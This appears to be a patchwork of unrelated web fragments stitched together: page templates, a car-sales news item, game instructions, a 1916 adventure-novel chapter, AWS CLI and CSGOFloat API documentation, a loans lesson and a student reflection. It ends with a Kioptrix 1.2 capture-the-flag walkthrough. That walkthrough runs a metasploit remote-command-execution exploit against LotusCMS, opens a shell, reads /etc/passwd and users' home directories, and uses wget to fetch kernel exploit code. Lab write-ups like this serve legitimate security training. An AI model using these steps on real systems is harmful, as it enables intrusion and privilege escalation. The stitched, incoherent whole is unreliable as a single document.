Guest Wifi Scheduler
Home
View Schedule
Wifi Status
Succesfully added to wifi schedule.
Your wifi password is {{ password }}
The SSID is YOUR_SSID
For more info contact
IT Team
.


3,536 units of the MG Hector SUV sold in October 2019
by Team ODMG Hector SUV debuted this year in the Indian market and received a more than warm response. With the booking number still marked at 38,000, MG states that it has sold 3,536 units of the Hector SUV in 2019.
Commenting on the sales performance, Rakesh Sidana, Director Sales, MG Motor India, said, "MG HECTOR continues to further strengthen its position in its segment and win hearts of our customers. As we gradually ramp up our production, we aim to ensure the highest levels of customer satisfaction through timely vehicle deliveries."
Recently, MG made an official announcement to ramp up their production early this month and the 15,000 customers who have booked the SUV are already on the company's priority list.
New customers can book the Hector for a token of Rs 50,000, however, the prices of the SUV have been increased by approximately 2.5 per cent depending on the trim. Customers who booked the Hector in the first phase will be secured from the price hike.
The deliveries are expected to commence by January 2020, although we suspect a second price revision coming soon owing to the updates necessary to meet the BSVI emission norms before April 2020.
Currently, the MG Hector is priced between Rs 12.48-17.28 lakh ex-showroom and the SUV takes on the likes of the Tata Harrier, Kia Seltos, Hyundai Creta and the Jeep Compass.
Also read,
2020 Baojun 530 facelift SUV (MG Hector) launched in China
Bookings for MG Hector SUV re-opens but with a 2.5 per cent price hike


INSTRUCTIONS
1. Accumulate STARDUST to create/upgrade SHIELDS
2. Use the SHIELDS to protect your planet
ICE (cost 1) shield defends 3 impacts from ICE meteors
FIRE (cost 1) shield defends 3 impacts from FIRE meteors
TITANIUM (cost 2) shield defends 5 impacts from anything but SUPERNOVAS
3. Don't let them get into your inner CORE or your planet DIES
CONTROLS
MOUSE: move camera
CTRL + MOUSE: move shields
BEFORE PLAYING
Select your PLANET
Select a LEVEL of difficulty
Have fun!


{{include file="public/link"}}
{{include file="public/header"}} {{block name="tmp"}}
{{/block}} {{block name="content"}} {{/block}} {{include file="public/foot"}} {{include file="public/right"}}


The Go Ahead Boys and the Racing Motor-Boat
by Ross Kay
Chapter 6
Additional Information
- Year Published: 1916
- Language: English
- Country of Origin: United States of America
-
Source:
Kay, Ross. (1916).
. New York: Goldsmith.
-
Readability:
- Flesch–Kincaid Level: 5.2
- Word Count: 1,955
- Genre: Adventure
- Keywords: life experiences
- ✎ Cite This
Downloads
About half-past eight o ‘clock the Go Ahead boys returned to the dock where the Black Growler had been left. A hasty examination convinced them that all their belongings were safe. In accordance with the suggestion which had been made they soon decided to set forth on their voyage. Just how far they would go was left undecided.
“I hear,” said Fred, “that we can stop at a village half-way between here and Rome. They say it is all right. If we don’t like to sail in the night then we can stop there, but if we want to we can keep on until we get to Rome or Oneida. That’s about as far as we’ll want to go anyway.”
“I think it will be good fun,” said John, “to travel through the country by night. Perhaps we’ll find some more places like the old Meeker House.”[5]
[5] The Go Ahead Boys and the Mysterious Old House.
“I’m afraid,” laughed George, “that we’ll find our ghosts a little more substantial than they were in that old place.”
“I wish we could find my bag,” spoke up Grant. “It’s strange it didn’t come to Utica. I left word with the express office though to send it ahead just as soon as they received it.”
“Maybe we’ll find the ghost of it,” suggested Fred.
Meanwhile they had cast off and the Black Growler was moving noiselessly over the waters of the Erie Canal. They were soon beyond the borders of the attractive city, but after they had passed the first village on their way George said quickly, “Fellows, I believe it’s going to rain. Look at those clouds over yonder.” As he spoke George pointed to some heavy clouds that could be seen massing in the western sky.
“I don’t want to get caught out here in a thunder storm,” said John.
“We shan’t be,” said Fred. “I’ll put on a little more speed and we’ll go on to the next place. That’s where the hotel or tavern is that they told me about in Utica. It won’t rain before we get there for it is only four or five miles ahead. If it is going to rain we can stop. If it doesn’t we can keep on if we want to.”
Conversation ceased as the speed of the swift little boat increased. Less than a half-hour had elapsed when the boys found that they were entering the village to which Fred had referred.
“How about it, Fred?” called John. “It looks pretty black to me.”
“It does to me, too,” replied Fred. “I think the best thing for us to do will be to stop. We’ll find a place where we can leave the motor-boat and then we’ll go up to the hotel and if we have to we’ll stay there all night.”
The boys all agreed to the suggestion and in a brief time the graceful little boat was covered in such a way that she was protected from the coming storm, which now was almost upon them.
Hastily the boys took their bags and at once started for the hotel which they were informed was only a few yards distant.
With difficulty they made their way along the darkened street, and in a few minutes arrived at their destination.
Just as they entered, the storm broke. There was a long roll of thunder followed by a blinding flash and then the rain began to fall in torrents.
“Just in time, weren’t we?” said Fred with a laugh. “You’re always right if you do what I tell you to. It was my suggestion and I am glad that for once in your lives you had wisdom enough to do what I said.”
“That remains to be seen,” said Grant dryly as he looked about the room in which they found themselves. “It seems to me that the motto over the door of this place ought to be, ‘He who enters here leaves soap behind.’ “
“Where did you find that?” laughed George.
“Didn’t you ever hear of the motto over the Bridge of Sighs?”
Whether the boys had ever heard of the famous bridge or not was not manifest, for at that moment in the midst of a deafening peal of thunder the landlady entered the room where the boys were waiting.
“What can I do for you?” she inquired as the thunder ceased.
“We’re caught in the storm and thought perhaps we might stay here all night,” suggested Fred.
“The house is pretty full,” said the woman dubiously. “I don’t know whether I can give you rooms or not.”
At that moment there came a burst of loud laughter from the bar-room. It was plain that many of the men who were employed on the canal also had sought shelter in the little tavern. The house was old, so old that the boards in the floor were warped and the low ceilings gave evidence of the many years that had passed since they had been placed there. Not a door fitted its frame and the windows were all small, the panes being not much more than seven by nine. Whatever was done in one part of the house plainly was likely to be known also in other parts. The noisy men, who were drinking in the bar-room, whose shouts and songs and cries now were even more distinctly heard, could not confine their loud demonstrations to the room in which they had assembled even if they had been so inclined.
“If you don’t mind,” suggested Fred to the landlady, “I think we would like to go up to our rooms.”
“Have you had any supper?” inquired the woman.
“Yes, we got some in Utica,” replied Fred.
“Where are you goin’?”
“We expect to go to the St. Lawrence River.”
“You don’t tell me,” exclaimed the woman. “How be you goin’?”
“We have got a motor-boat.”
“Land sakes! You don’t say so! That’s a terrible long ways and I don’t see how you can get there with a boat all the way.”
“The storm caught us and we thought we had better stop here for the night than try to go on any farther.”
“Where do you come from?” inquired the woman, who busied herself lighting two candles while she was talking.
“We came from Albany this morning,” replied Fred, who did not think it necessary to go more into details concerning their expedition.
“My, you must have come pretty fast. Now, if you’ll follow me I’ll show you to your rooms.”
Fred glanced uneasily behind him as from the bar-room at that moment there came another noisy outburst that was almost alarming in its character.
“How many men are there in there?” inquired Fred, nodding his head toward the room as he spoke.
“It’s about full,” replied the landlady. “A stormy night like this drives a good many of the boatmen and the hands under cover.”
“They are a noisy lot,” suggested Fred.
  That’s one reason why I make everybody pay before I give them a room.”
“Do you mean that we’ll have to pay before we take the room?” inquired John.
“Yes, sir, that’s just what I say. That’s the rule o’ this house.”
“Well, I guess we’ll see the rooms first then,” said George.
Conversation ceased as the woman, who was stout and consequently slow in her movements, led the way up the creaking stairway and then through the hall on the second floor. The floor here also was loose and every step was announced by creakings, while various other sounds were emitted as the boards resumed their accustomed places.
“Here you be,” said the woman at last as she stopped before the rooms at the end of the hall-way.
“We’re directly over the bar-room, aren’t we?” inquired John as another noisy outburst came from below.
“Yes, but you won’t mind that after a bit,” explained the landlady. “You’ll get used to it same as I have. I go to sleep and don’t pay no more attention to the noises than I do to the wind that blows.”
By this time she had opened the doors, which were unlocked, and entered the rooms.
The boys looked ruefully at one another when they became aware in the dim light of the condition of the rooms to which they had been shown.
“I don’t believe those windows have seen soap and water since the Erie Canal was built,” whispered George to Grant. “When did you say that was?”
“Keep quiet a minute, Pop,” retorted Grant.
The rain was beating against the windows with renewed force. The storm apparently was at its height. For them to go on in the Black Growler was almost impossible. There was nothing to be done, except to make the best of the conditions in which they now found themselves.
Soon after the withdrawal of their landlady, who had been paid in advance for the use of the rooms, although breakfast was not included as the boys explained they might have to leave the village before sunrise, they prepared for bed. They were thoroughly tired by the new experiences of the past day and in spite of their surroundings and the noise of the men below and of the storm, which still was raging, they decided to retire.
Their rooms did not connect and as George and Grant withdrew, Fred said, “If we need your help in the night, fellows, don’t fail to come right away.”
“Are you scared, Peewee?” laughed George.
“Yes, I am, and I don’t mind saying so,” retorted Fred. “I don’t like the sound that comes from that room downstairs.”
Fred’s feelings were not relieved when he found it was impossible to lock the doors. An old fashioned iron latch was the only means by which each door was opened and there were not even bolts or buttons by which the door could be fastened.
“I’m going to put a chair against the door,” said Fred. “I’m afraid something will happen before morning.”
Nor was Fred disappointed, for two hours after the boys were in bed the door of the room which Fred and John occupied was stealthily opened by some one in the hall.


Pizza Please!
First Name
Last Name
Phone Number
Delivery Address
Cheese
Olives
Pepperoni
Bacon
Chicken
Peppers
Size
Small
Medium
Large
Build My Pizza!


Imports key material into an AWS KMS customer master key (CMK) from your existing key management infrastructure. For more information about importing key material into AWS KMS, see Importing Key Material in the AWS Key Management Service Developer Guide .
You must specify the key ID of the CMK to import the key material into. This CMK's Origin must be EXTERNAL . You must also send an import token and the encrypted key material. Send the import token that you received in the same get-parameters-for-import response that contained the public key that you used to encrypt the key material. You must also specify whether the key material expires and if so, when. When the key material expires, AWS KMS deletes the key material and the CMK becomes unusable. To use the CMK again, you can reimport the same key material. If you set an expiration date, you can change it only by reimporting the same key material and specifying a new expiration date.
When this operation is successful, the specified CMK's key state changes to Enabled , and you can use the CMK.
After you successfully import key material into a CMK, you can reimport the same key material into that CMK, but you cannot import different key material.
See also: AWS API Documentation
import-key-material
--key-id <value>
--import-token <value>
--encrypted-key-material <value>
[--valid-to <value>]
[--expiration-model <value>]
[--cli-input-json <value>]
[--generate-cli-skeleton <value>]
The identifier of the CMK to import the key material into. The CMK's Origin must be EXTERNAL .
A valid identifier is the unique key ID or the Amazon Resource Name (ARN) of the CMK. Examples:
- Unique key ID: 1234abcd-12ab-34cd-56ef-1234567890ab
- Key ARN: arn:aws:kms:us-east-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab
The import token that you received in the response to a previous get-parameters-for-import request. It must be from the same response that contained the public key that you used to encrypt the key material.
--encrypted-key-material (blob)
The encrypted key material to import. It must be encrypted with the public key that you received in the response to a previous get-parameters-for-import request, using the wrapping algorithm that you specified in that request.
The time at which the imported key material expires. When the key material expires, AWS KMS deletes the key material and the CMK becomes unusable. You must omit this parameter when the ExpirationModel parameter is set to KEY_MATERIAL_DOES_NOT_EXPIRE . Otherwise it is required.
Specifies whether the key material expires. The default is KEY_MATERIAL_EXPIRES , in which case you must include the ValidTo parameter. When this parameter is set to KEY_MATERIAL_DOES_NOT_EXPIRE , you must omit the ValidTo parameter.
Possible values:
- KEY_MATERIAL_EXPIRES
- KEY_MATERIAL_DOES_NOT_EXPIRE
--cli-input-json (string) Performs service operation based on the JSON string provided. The JSON string follows the format provided by --generate-cli-skeleton. If other arguments are provided on the command line, the CLI values will override the JSON-provided values.
--generate-cli-skeleton (string) Prints a JSON skeleton to standard output without sending an API request. If provided with no value or the value input, prints a sample input JSON that can be used as an argument for --cli-input-json. If provided with the value output, it validates the command inputs and returns a sample output JSON for that command.


Contact us Today
We usually respond within 24 hours. If we don't, you get a free month on us.
Your name
Your name
1
2
3
4
5


CSGOFloat can provide the wear value (float value) and paint index of any gun if you have the inspect link. The float value of a gun defines the texture wear, there are different ranges for different wear values:
NOTE: Some skins have a max and min float value. For example, the AK-47 Redline has a minimum float of 0.10 and maximum float of 0.70. Don't worry, this info will also be sent to you when the lookup is processed.
Step 1: Find the inspect link of the desired gun off of Steam Community Market (or any inspect link)
Step 2: Paste the inspect link into the site's main search bar and click "Lookup"
Step 3: You will get put into a queue, and once your request gets processed, the item data will be displayed. The red "line" on the green progress bar shows the wear in comparison to the possible wear range of that skin. The more left it is (towards the minimum), the better the texture wear on the skin is.
NOTE: You can only have one pending request per IP at a time!
CSGOFloat now has a free unlimited API for fetching item data. If you'd like to implement your own custom API, check out the Github repo!
https://api.csgofloat.com
GET /
| Parameter | Description |
|---|---|
| s | Optional: If an inventory item, fill out this parameter from the inspect URL |
| a | Required: Inspect URL "a" param |
| d | Required: Inspect URL "d" param |
| m | Optional: If a market item, fill out this parameter from the inspect URL |
https://api.csgofloat.com/?m=563330426657599553&a=6710760926&d=9406593057029549017or (market item)
https://api.csgofloat.com/?s=76561198084749846&a=6777992090&d=3378412659870065794
| Parameter | Description |
|---|---|
| url | Required: Inspect URL of the CSGO item |
https://api.csgofloat.com/?url=steam://rungame/730/76561202255233023/+csgo_econ_action_preview%20S76561198084749846A698323590D7935523998312483177or (market item)
https://api.csgofloat.com/?url=steam://rungame/730/76561202255233023/+csgo_econ_action_preview%20M625254122282020305A6760346663D30614827701953021
The reply of this API is based upon this CSGO protobuf. I recommend looking at the Github in order to understand how some of these parameters work.
| Attribute | Data Type | Description |
|---|---|---|
| itemid | uint32 | Item ID |
| defindex | uint32 | Weapon ID |
| paintindex | uint32 | Paint ID of the weapon (skin) |
| rarity | uint32 | Rarity value of the weapon |
| quality | uint32 | Quality of the weapon |
| paintwear | uint32 | Wear of the exterior of the skin |
| paintseed | uint32 | Seed for the RNG that defines how to place the skin texture |
| killeatervalue | uint32 | If the item is StatTrak, this is the amount of kills |
| customname | string | If the item has a nametag, this is the custom name |
| stickers | array | Contains data on the placement of stickers |
| origin | uint32 | Origin ID of the weapon |
| floatvalue | float | Exterior wear of the skin in its float representation |
| imageurl | string | Optional: Image of the item |
| min | float | Minimum wear of the skin |
| max | float | Maximum wear of the skin |
| itemid_int | uint32 | ID of the item |
| item_name | uint32 | Optional: Name of the skin |
| weapon_type | string | Weapon type name |
{ "iteminfo": { "accountid": null, "itemid": { "low": -1811942502, "high": 1, "unsigned": true }, "defindex": 32, "paintindex": 389, "rarity": 6, "quality": 4, "paintwear":<PHONE_NUMBER>, "paintseed": 933, "killeaterscoretype": null, "killeatervalue": null, "customname": null, "stickers": [], "inventory":<PHONE_NUMBER>, "origin": 4, "questid": null, "dropreason": null, "floatvalue": 0.12340918183326721, "imageurl": "http://media.steampowered.com/apps/730/icons/econ/default_generated/weapon_hkp2000_cu_p2000_fire_elemental_light_large.1e57d4d9f1c51e613c1923377aa55fab4b0ab1bc.png", "min": "0.000000", "max": "0.600000", "itemid_int":<PHONE_NUMBER>, "item_name": "Fire Elemental", "s": "76561198084749846", "a": "6777992090", "d": "3378412659870065794", "m": "0", "market": false, "weapon_type": "P2000" } }
The API might be unstable at times, so it is important that you handle the errors correctly.
| Code | Description |
|---|---|
| 1 | Improper Parameter Structure |
| 2 | Invalid Inspect Link Structure |
| 3 | You may only have one pending request at a time |
| 4 | Valve's servers didn't reply in time |
| 5 | Valve's servers appear to be offline, please try again later! |
{ "error": "Valve's servers didn't reply", "code": 4 }


-- @ Identity Provider --
LOGGED IN - LOGOUT
Perform IdP-initiated login to {{sp_id}}>
LOGGED OUT - LOGIN


Authors: Mr. Isidoro Ibanez Labiano, Dr. Syeda Fizzah Jilani, and Dr. Akram Alomainy, Mr. Muhammed Said Ergoktas and Dr. Coskun Kocabas, Dr. Elif Ozden-Yenigun
Source: FERMAT, Volume 35, Communication 8, Sep.-Oct., 2019
Abstract: This paper presents an antenna designed to achieve wideband by using graphene as a conductive patch. In order to provide flexibility, the cotton fabric is used as a substrate. The proposed antenna covers a bandwidth of 2–8 GHz. Simulated antenna efficiency is approximately 60% in overall bandwidth. The attractive features of conformity, lower design complexity and fabrication ease as well as integration of an environment friendly and low cost graphene have suggested the proposed antenna wellsuited for body-centric, biomedical and wearable applications.
Index Terms: antenna, graphene, textile, wearable, wireless
View PDF
Graphene-based Textile Ultra Wideband Antennas for Integrated and Wearable Applications


Please enable to view full site.


|
ActiveTcl User Guide
|
||
tk_focusNext, tk_focusPrev, tk_focusFollowsMouse - Utility procedures for managing the input focus.
tk_focusNext window
tk_focusPrev window
tk_focusFollowsMouse
tk_focusNext is a utility procedure used for keyboard traversal. It returns the ``next'' window after window in focus order. The focus order is determined by the stacking order of windows and the structure of the window hierarchy. Among siblings, the focus order is the same as the stacking order, with the lowest window being first. If a window has children, the window is visited first, followed by its children (recursively), followed by its next sibling. Top-level windows other than window are skipped, so that tk_focusNext never returns a window in a different top-level from window.
After computing the next window, tk_focusNext examines the window's -takefocus option to see whether it should be skipped. If so, tk_focusNext continues on to the next window in the focus order, until it eventually finds a window that will accept the focus or returns back to window.
tk_focusPrev is similar to tk_focusNext except that it returns the window just before window in the focus order.
tk_focusFollowsMouse changes the focus model for the application to an implicit one where the window under the mouse gets the focus. After this procedure is called, whenever the mouse enters a window Tk will automatically give it the input focus. The focus command may be used to move the focus to a window other than the one under the mouse, but as soon as the mouse moves into a new window the focus will jump to that window. Note: at present there is no built-in support for returning the application to an explicit focus model; to do this you'll have to write a script that deletes the bindings created by tk_focusFollowsMouse.
focus, keyboard traversal, top-level
Copyright © 1994 The Regents of the University of California. Copyright © 1994-1996 Sun Microsystems, Inc. Copyright © 1995-1997 Roger E. Critchlow Jr.


A Photographer friend of mine requested me to build a website that He can be using to display his portfolio
Here is the link to my Photographer-Portfolio Website Photographer Portfolio Project
I was once learning how to use floats using css and thus I created this project to use it to practice.
Here is the link to my Resume Website Resume Project


Precipitation: 63%
Humidity: 55%
Wind: 11km/h
Zamboanga City (Zamboangueño Chavacano: Ciudad de Zamboanga) is a highly urbanized city located in Mindanao, Philippines. It has a population of 807,129 people as of the 1 May 2010 census. Zamboanga is the 6th most populous and 3rd largest city by land area in the Philippines.[3][4] It is the commercial and industrial center of the Zamboanga Peninsula Region.
Fishing Policies/Regulation
1. License and Permits
2. Report of Fish Caught
3. Permit for Transport of Fish or Fishery Products
4. Ussuance of Auxiliary Invoice
5.Barangay Clearance
6. Fish Sanctuary and Marine Reserve
7. Conservation of Mangrove
8. Issuance of Individual License in case no bidder lease
9. Restrictions


We understand that technology is evolving at a fast pace and keeping up-to-date can be a daunting task. Our goal is to help you take a step back and evaluate what can be a solid technology versus what could be a fad. Our success is the direct reflection of your success and our work together.
Let us help you in software development or hardware development. Sometimes all you need is some training, we can help in that area also.
Contact us directly just to say "Hello", hello@iotopia-solutions.com


Project File System State
Project Guide
Every Clusternated project has two broad types of “state” or configuration
associated with it. This document is concerned with state in the codebase of a
project itself. This guide will use the term project filesystem, or project fs
to refer to the files at the HEAD
of a git master branch in a project.
The Clusternator uses the project fs in order to transform the project’s git repository into a deployable instance of an application that can be instantiated as a dev environment, testing environment, a production environment, or something else, like staging.
Currently The Clusternator makes extensive use of the project fs to achieve this goal. In the future there are plans to trim this down, and better leverage remote state
- Ignore files
- .clusternator directory
- clusternator.json file
- .private directory
- Test config files
- Container files like Dockerfile(s)


{% extends 'base.html' %} {% load static %} {% block head %} {% endblock %} {% block body %}
| {{ skill }} |
| {{ user.first_name|title }} {{ user.last_name|title }} hasn't added any skills to his profile! |
| {{ project.project.project_name }} |
| {{ user.first_name|title }} {{ user.last_name|title }} is not interested in any projects right now. |
| Browse active projects! |


It should come as no surprise that banks have many ways of making money, and collecting service charges on accounts is not the only way—in fact, it accounts for less than 10% of how banks make money! A significant portion comes from interest on loans, deposit boxes, other financial instruments (eg. Mutual funds, GIC), cheques and foreign exchange.
With that being said, just as there are many types of ice-cream flavors to choose from, there are types of loans that people can obtain, depending on factors like what exactly is being bought, or the duration as well.
The most common and frequently discussed type of loan is the Credit Card. It is 30 days, no interest if the balance is paid off during the first 30 days, and then an interest rate that typically is equal to or greater than 20%. You may have heard of these companies, such as Visa, MasterCard or AMEX, however there are many credit card companies out there, especially ones outside of Canada. The best part often involves the rewards and benefits, such as a point system for usage and rewards.
A bank loan is another type of credit. It often has a term between 3-5 years, and depending on the type of bank loan provided by the bank, the interest rate could be different. These types of loans are ideal for buying appliances such as nice big mini fridge in your garage, electronics or even that purple IKEA sofa you’ve been eyeing for a while.
Mortgages are a type of loan commonly for buildings, such as houses and office buildings. They tend to have longer terms than a normal bank loan, of 20-25 years, depending on the bank. But there’s more parts to a mortgage than just the principal amount, and the interest—there is also home insurance and taxes—even collateral—that is involved with a mortgage. It is often considered one of the largest amount of debts a person may take upon.
Installment Loans are loans that require a set amount paid per month; the loan must be repaid in fixed amounts consistently over a period of time. The most common example, especially for future drivers, is a car loan, where it is typically giving a person an option to buy the car now or pay a certain down payment NOW and then a fixed amount for a period of time (eg. $10,000 now, and then $1000 per month for 8 years).
Another interesting type of loan is a Demand Loan. Though very rare, this type of loan essentially involves the lender giving money to a borrower, but at any point in time, the lender can ask the borrower back for the money. The strangest part? No advance notice is needed; it just demanded by the lender, and the borrower MUST repay back then and there. This is extremely short-term.
There are many different types of loans out there, offered from banks and other financial institutions—basically, this list isn’t complete. I encourage you to read carefully and find out what creative loans have been created to help facilitate the use of credit…after all, there are always new ice-cream flavors coming out.
Now that you have finished the section on credit here are some questions. You will have 3 attempts for the question. Don't worry if you mess up. You will be brought back to the begining of the section. So you can brush up on what you missed and then you can try again!
1. How exactly do banks make money?
2. What happens generally if a person does not pay their credit card balance within a designated period (usually 30 days?)
3. Mary has a friend who wants to attend a wedding soon, however currently lacks the money to buy a gift for the event. Mary can provide a loan for her friend, but needs the money paid back very quickly afterwards for personal use. What type of loan should Mary give her friend?
4. A man named Mr. Dougall hosted a sports team that needed money for a trip, $1000. Instead of taking a loan, he used his credit card to pay for the trip, and knew the team would basically fund raise the amount in time to pay for the trip.


My natural strength is concrete thinking. I am a very direct communicator and I like to interact directly with people. I perfer to be told things at face value and to recieve straightforward feedback. I register and respond to information directly and do better when I recieve specific instructions. I can think Abstractly but it is not as strong as my conrete thinking. I like to be given direction and know what my task is. This could be an area of improvement for me at DBC if challenges are very open ended. I can imagine that tasks will call for a lot of creativity and innovative thinking and I hope that I can let go of wanting guidelines and embrace the freedom of making something on my own.
My ordering ability is squential. I have a logical train of thought and think about things in a step-by-step manner. I like to plan out the steps and complete tasks one at a time. I have a habit of making lists of the things I need to do and as I do them, I cross them off the list. I have always made a list everynight, with school, work etc. Despite my orderly way of attacking problems, I definetly have a random side. I am very impulsive and love to do random things when opportunities present themselves. I am always in support of a change in plans if something new presents itself. Socially, I don't like to put plans in stone and perfer my life to be more spur of the moment.
My biggest struggle in Phase 0 so far has been the scheduling. I feel somewhat overwhelmed working full time and also completing the phase 0 requirements. I've unfortunately been out of town for the past two weekends and so I haven't had that free time to focus on DBC. I feel confident that I can finish all of the work, but have had trouble scheduling pair programming times. I've managed to squeeze them in, but there has definetly been some stress revolving around that. Very often, by the time I ask someone to pair with me they have already completed their pairing requirements for the week--and have even sometimes already planned their pairs for next week. I think it will be important for me to not let this stress me out and to take it one step at a time. Although it is tough not to compare myself to others (a bad habit I need to break) it will definetly be a very useful skill throughout DBC.
One more thing I'd love to work on over the next few months is working in groups. I've read that concrete sequential learners have trouble working in groups and that sometimes resonates with me. However, since programming is so new to me I think I will learn to love the group environment. I have never programmed before and I think working in groups with people at different levels and with different sets of expertise will actually be really nice. Anyways, I'm excited for the experience and I'm excited to learn from my peers and to contribute as much as I can.


Home
About us
Drive
Games
Login
Offers
T&C
Login
E-mail Id
Password
Login
New User?
Register Here
Copyright © 2021 Gamer Pizza. All rights ® reserved.


Vulnhub - Kioptrix 1.2 (#3)
Finding the IP of the VM
Huh, this time I didn’t have to do weird stuff to fix the network! Just changed the network adapter from bridged
to NAT
!
kali@kali:~$ sudo arp-scan <IP_ADDRESS>/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fd:2b:71, IPv4: <IP_ADDRESS>
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
<IP_ADDRESS> 00:50:56:c0:00:08 VMware, Inc.
<IP_ADDRESS> 00:50:56:fd:11:d0 VMware, Inc.
<IP_ADDRESS> 00:0c:29:3e:dd:2b VMware, Inc.
<IP_ADDRESS> 00:50:56:fe:b1:9f VMware, Inc.
IP of the target is: <IP_ADDRESS>
!
We just have one tiny little thing to do before we can poke the VM, as indicated by the README :
Before playing the game, please modify your attacker's hosts file.
<ip> kioptrix3.com
This challenge contains a Web Application.
Append a line to /etc/hosts
on the kali box:
<IP_ADDRESS> kioptrix3.com
Scanning In Progress
$ sudo nmap -T4 -p- -A -oA nmap_tcp <IP_ADDRESS>
Well, at least there is not a bazillion services on this one…
| port | service |
|---|---|
| 22 | SSH OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) |
| 80 | Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |
22 SSH
The version of OpenSSH 4.7p1 might be vulnerable and have a predictable PRNG: https://www.exploit-db.com/exploits/5720.
Let’s keep that information in mind and move on to the web server now. We’ll come back here if we have nothing else on the web server.
80 Apache server
Let’s explore this website ~~
http://kioptrix3.com/index.php?system=Blog
http://kioptrix3.com/index.php?system=Admin
Okay, so a couple of interesting stuff to look at here:
- the login page
- LotusCMS (the logo on the login page)
- the comment form on the blog page
LotusCMS - First Shell
Sounds like LotusCMS is an interesting path, let’s check if there is any available CVE…
kali@kali:~$ searchsploit lotusCMS
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
LotusCMS 3.0 - 'eval()' Remote Command | exploits/php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilit | exploits/php/webapps/16982.txt
--------------------------------------- ----------------------------------------
- https://www.exploit-db.com/exploits/15964 => LFI RCE
- https://www.exploit-db.com/exploits/18565 => RCE included in metasploit as
exploit/multi/http/lcms_php_exec
- https://www.exploit-db.com/exploits/16982 => uninteresting, stored XSS, XSS and CSRF
CVE 18565 sounds like the most interesting for us, let’s fire up metasploit then:
$ msfconsole
msf5 > search lotusCMS
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
msf5 > use 0
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(multi/http/lcms_php_exec) > set URI http://kioptrix3.com/
URI => http://kioptrix3.com/
msf5 exploit(multi/http/lcms_php_exec) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Exploit completed, but no session was created.
Huh, no session. Let’s try a different URL maybe?
- set URI /index.php?page=index
- set URI http://kioptrix3.com/index.php?page=index
- set URI http://kioptrix3.com
Still nothing, maybe the payload is too complicated ? After the exploit is selected, use show payload
to display the payloads compatible with that specific exploit and pick another one.
After half an hour trying all the payloads, the URI and studying the code of the exploit… Nothing was working…
APPARENTLY I JUST HAVE PHAT FINGERS.
I finally realized that I set the wrong IP in RHOSTS… Duh.
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(multi/http/lcms_php_exec) > run
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Started bind TCP handler against <IP_ADDRESS>:4444
[*] Command shell session 3 opened (<IP_ADDRESS>:42067 -> <IP_ADDRESS>:4444) at 2020-04-18 16:43:11 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
cache
core
data
favicon.ico
gallery
gnu-lgpl.txt
index.php
modules
style
update.php
uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
And we’ve got a shell /o/ A weird one that cannot change directory though:
pwd
/home/www/kioptrix3.com
cd /
pwd
/home/www/kioptrix3.com
Kernel Exploitation
The kernel is a 2.6.24
which is vulnerable to a couple of kernel exploits like: https://github.com/lucyoa/kernel-exploits/tree/master/american-sign-language.
But it doesn’t seem possible to download any exploit from the unprivileged shell:
wget https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/american-sign-language/american-sign-language.c
ls
cache
core
data
favicon.ico
gallery
gnu-lgpl.txt
index.php
modules
style
update.php
No american-sign-language.c
file here :(( Looks like a dead end, let’s try something else…
Poking the Other Users
Are we all alone on that machine?
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
Huhu, 2 users here: loneferret
and dreg
! Let’s check their homes, surely they have secrets…
The home of dreg
is the definition of boring…
$ ls -la /home/dreg
total 20
drwxr-xr-x 2 dreg dreg 4096 Apr 16 2011 .
drwxr-xr-x 5 root root 4096 Apr 16 2011 ..
-rw-r--r-- 1 dreg dreg 220 Apr 16 2011 .bash_logout
-rw-r--r-- 1 dreg dreg 2940 Apr 16 2011 .bashrc
